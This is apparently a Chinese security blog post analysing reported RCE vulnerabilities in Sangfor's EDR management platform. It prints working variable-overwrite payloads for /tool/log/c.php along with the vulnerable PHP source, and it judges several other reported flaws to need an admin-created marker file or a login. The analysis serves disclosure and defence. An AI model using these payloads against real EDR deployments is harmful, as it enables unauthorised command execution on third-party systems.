2020-08-19 11:30 漏洞分析
终端检测响应平台(EDR)是深信服公司提供的一套终端安全解决方案,EDR 的管理平台支持统一的终端资产管理、终端安全体检、终端合规检查,支持微隔离的访问控制策略统一管理,
支持对安全事件的一键隔离处置,以及热点事件 IOC 的全网威胁定位,历史行为数据的溯源分析,远程协助取证调查分析。
在全国重大网络行动的第一天中被爆出存在命令执行漏洞。
tool\log\c.php文件的变量覆盖漏洞也是最早开始网传的深信服的RCE漏洞。该漏洞确实可以复现。
https://xxx.xxx/tool/log/c.php?strip_slashes=system&host=id
原理就是典型的变量覆盖漏洞,这里就不多做赘述了。
payload不仅这一种,除了host作为函数的参数值外,path,row等也都可以作为函数参数值,所以payload可以有以下几种,show_input应该也可以作为执行函数。
/tool/log/c.php?strip_slashes=system&host=id
/tool/log/c.php?strip_slashes=system&path=id
/tool/log/c.php?strip_slashes=system&row=id
/tool/log/c.php?strip_slashes=system&limit=id
tool/log/c.php 部分源码
<?php
call_user_func(function() {
....
/**
* 显示表单
* @param array $params 请求参数
* @return
*/
$show_form = function($params) use(&$strip_slashes, &$show_input) {
extract($params);
$host = isset($host) ? $strip_slashes($host) : "127.0.0.1";
$path = isset($path) ? $strip_slashes($path) : "";
$row = isset($row) ? $strip_slashes($row) : "";
$limit = isset($limit) ? $strip_slashes($limit) : 1000;
// 绘制表单
echo "<pre>";
echo '<form id="studio" name="studio" method="post" action="">';
$show_input(array("title" => "Host ", "name" => "host", "value" => $host, "note" => " - host, e.g. 127.0.0.1"));
$show_input(array("title" => "Path ", "name" => "path", "value" => $path, "note" => " - path regex, e.g. mapreduce"));
$show_input(array("title" => "Row ", "name" => "row", "value" => $row, "note" => " - row regex, e.g. \s[w|e]\s"));
$show_input(array("title" => "Limit", "name" => "limit", "value" => $limit, "note" => " - top n, e.g. 100"));
echo '<input type="submit" id="button">';
echo '</form>';
echo "</pre>";
};
/**
* 入口函数
* @param array $argv 配置参数
* @return
*/
$main = function($argv)
use(&$collect) {
extract($argv);
if (!isset($limit)) {
return;
}
$result = $collect($path, $row, $limit, $host);
if (!is_array($result)) {
echo $result, "\n";
return;
}
if (!isset($result["success"]) || $result["success"] !== true) {
echo $result, "\n";
return;
}
foreach ($result["data"] as $host => $items) {
$last = "";
foreach ($items as $item) {
if ($item["name"] != $last) {
$last = $item["name"];
echo "\n[$host] -> $last\n\n";
}
echo $item["item"], "\n";
}
}
};
set_time_limit(0);
echo '<html><head><meta http-equiv="Content-Type" Content="text/html; Charset=utf-8"></head>';
echo '<body bgcolor="#e8ddcb">';
echo "<p><b>Log Helper</b></p>";
$show_form($_REQUEST);
echo "<pre>";
$main($_REQUEST);
echo "</pre>";
});
?>
然后是网传的看着像后门的RCE,tool/php_cli.php 。该文件同样存在变量覆盖的疑似漏洞点。
但仔细看代码的话,可以看到文件的开头,就做了个简单的验证。必须存在该文件ldb_ext_root().”/php/enable_dc_tool”; 文件目录应该是这个 /ac/dc/ldb/php/enable_dc_tool 。我搜了一下一些站点,基本都不存在该文件,该文件应该是需要服务器管理者上去创建的。所以是无法直接执行代码的
ldb_ext_root().目录可以通过第一个RCE进行读取。
而默认目录下是没有enable_dc_tool文件的。
假设目标主机存在enable_dc_tool标记,过了第一个判断,则其payload 类似如下,这里本地进行验证了下。
http://127.0.0.1:8111/tool/php_cli.php?code=phpinfo();
网传的第三个RCE点,tool\ldb_cli.php,该文件也存在多个变量覆盖点。
但其开头也做了简单的验证,需要存在enable_dc_tool该文件。所以是也无法直接RCE的
tool/ldb_cli.php
网传的第四个RCE点,tool/mdd_sql.php,同样存在多个可以变量覆盖的点。
但还是需要在服务器上添加enadble_dc_tool标记。//默认不允许使用,除非登录到后台touch标记,这里中文没乱码就可以直观看出来了。所以该功能应该是给服务器管理者测试用的。所以,也是无法直接RCE的
网传的第四个RCE点,tool/mdd_sql.php,同样需要在服务器上添加enadble_dc_tool标记。//默认不允许使用,除非登录到后台touch标记,这里中文没乱码就可以直观看出来了。
然后是网传的任意文件读取的漏洞,store/cat.php
首先,最开始就会检测是否登录。
其次,有对其进行了简单的校验。只能读取特定目录下的文件。
所以该漏洞顶多算特定目录需要授权的文件读取。?
总体来说,除了HW第一天报出来的/tool/log/c.php的RCE确实可用,目前网上文章中提到的其它漏洞点现在看来都较为鸡肋。
其中tool目录看起来只是用来系统维护的,通过安装新版本补丁发现,tool目录和store目录均已经被删除。